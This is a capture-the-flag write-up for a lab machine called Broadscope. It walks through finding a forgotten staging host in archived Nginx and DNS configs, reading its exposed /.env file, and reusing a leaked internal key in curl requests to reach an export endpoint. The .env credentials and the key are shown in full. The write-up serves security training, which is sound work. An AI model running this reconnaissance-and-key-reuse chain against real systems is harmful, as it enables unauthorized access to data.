Home›CTF & Writeups›Broadscope

Broadscope

✓ SOLVED

RatCTF — Asset Discovery → Historical Config Exposure → Forgotten Staging → Internal Export

1

Overview

Broadscope was solved entirely through HTTP reconnaissance. Historical configuration exposed a forgotten staging host. That staging host leaked an internal service key through /.env, which unlocked an internal export endpoint and the final flag.

User Flag✓
Root Flag✓
ShellNot Required
2

Recon — Public Surface

I enumerated the public virtual host, inspected the front-end JavaScript, then checked robots.txt and the sitemap. Those breadcrumbs led to an exposed /archive/ path.

robots.txt
curl -i -H "Host: www.broadscope.test" http://173.230.128.202:30831/robots.txt
3

Historical Config — Forgotten Host

The archive directory exposed historical Nginx and DNS exports. Those files identified a forgotten virtual host: staging-old.broadscope.test.

Key findingOld configuration data expanded the attack surface beyond the currently advertised hosts.
4

Inventory Verification — User Flag

I submitted the discovered estate to /api/v1/inventory: www, careers, api, and staging-old. The server verified the complete host set and returned the user flag.

Inventory request
POST /api/v1/inventory
Host: api.broadscope.test

{
  "hosts": [
    "www.broadscope.test",
    "careers.broadscope.test",
    "api.broadscope.test",
    "staging-old.broadscope.test"
  ]
}
USER FLAGflag{[REDACTED]}
5

Staging Secrets — Exposed .env

The forgotten staging virtual host exposed /.env. It contained database credentials, an internal service key, and the internal export path.

Sensitive values
APP_ENV=staging
DB_HOST=legacy-staging-db
DB_USER=bs_staging
DB_PASSWORD=stagingonly
BROADSCOPE_INTERNAL_KEY=bs_live_7f41c0d9a2e84b16
INTERNAL_EXPORT_PATH=/internal/export
6

Internal Export — Root Flag

The export endpoint initially returned 403 Forbidden. Supplying the leaked key in X-Internal-Key changed the response to 200 OK and returned the final flag.

Authorized export request
curl -i   -H "Host: staging-old.broadscope.test"   -H "X-Internal-Key: bs_live_7f41c0d9a2e84b16"   http://173.230.128.202:30831/internal/export
ROOT FLAGflag{[REDACTED]}
Challenge completeNo operating-system shell or local privilege escalation was required for this machine.
7

Attack Path

robots / sitemap→/archive/→staging-old→inventory→/.env→internal key→/internal/export